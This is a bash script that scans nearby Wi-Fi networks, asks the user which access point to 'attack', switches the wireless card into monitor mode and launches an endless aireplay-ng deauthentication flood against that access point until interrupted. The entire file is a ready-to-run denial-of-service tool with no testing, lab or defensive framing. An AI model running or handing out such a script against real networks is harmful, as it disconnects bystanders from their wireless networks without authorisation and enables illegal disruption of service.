#!/bin/bash
INTERFACE=$1
if [[ "${EUID}" -ne 0 ]]; then
echo -e "[ERROR] You Must Be A ROOT To Run This Script!"
exit 1
fi
if [[ "$#" -ne 1 ]]; then
echo -e "[ERROR] You Must Provide 1 Args ...."
echo -e "[USAGE] $0 <INTERFACE> ..."
exit 1
fi
if [[ ! -e "/sys/class/net/${INTERFACE}" ]]; then
echo -e "[ERROR] Interface : ${INTERFACE} Not Found ...."
exit 1
fi
# Function to handle SIGINT (Ctrl + C)
cleanup() {
echo -e "\nCaught Ctrl + C! Stopping deauth attack..."
kill $DEAUTH_PID # Kill the aireplay-ng process
wait $DEAUTH_PID 2>/dev/null # Wait for the process to terminate
}
# Trap SIGINT and call the cleanup function
trap cleanup SIGINT
deauth() {
aireplay-ng --deauth 0 -a "${BSSID}" "${INTERFACE}" &
DEAUTH_PID=$! # Store the PID of the aireplay-ng process
wait $DEAUTH_PID # Wait for the aireplay-ng process to finish
}
echo -e "[SCAN] Scanning For Available Networks ...."
OUTPUT=$(nmcli -f BSSID,SSID,CHAN dev wifi | grep -Ev '^(BSSID|SSID|CHAN|$)' | sort | uniq)
if [[ -z "${OUTPUT}" ]]; then
echo -e "[ERROR] No Networks found ...."
exit 1
fi
echo -e "[INFO] Available Networks :"
echo -e "${OUTPUT}"
echo
echo -e "[INFO] Enter The BSSID Of The Network You Want To Attack :"
read -r BSSID
CHANNEL=$(echo "${OUTPUT}" | grep -m 1 "${BSSID}" | awk '{print $3}')
echo -e "[INFO] Channel : ${CHANNEL}"
echo -e "[INFO] BSSID : ${BSSID}"
echo -e "[INFO] Interface : ${INTERFACE}"
echo -e "[INFO] Starting Monitor Mode On Interface : ${INTERFACE} ...."
airmon-ng start "${INTERFACE}" >& /dev/null
airmon-ng check kill >& /dev/null
INTERFACE="${INTERFACE}mon"
echo -e "[INFO] Interface In Monitor Mode : ${INTERFACE}"
echo -e "[INFO] Starting Deauth Attack On BSSID : ${BSSID} ....."
iwconfig "${INTERFACE}" channel "${CHANNEL}"
# Start the deauth function
deauth
# This part will be reached after Ctrl + C is pressed
echo
echo -e "[INFO] Deauth Attack Finished ...."
echo -e "[INFO] Stopping Interface : ${INTERFACE} ...."
airmon-ng stop "${INTERFACE}" >& /dev/null
echo -e "[INFO] Interface Stopped Successfully"
systemctl restart NetworkManager
echo -e "[INFO] NetworkManager Restarted"
exit 0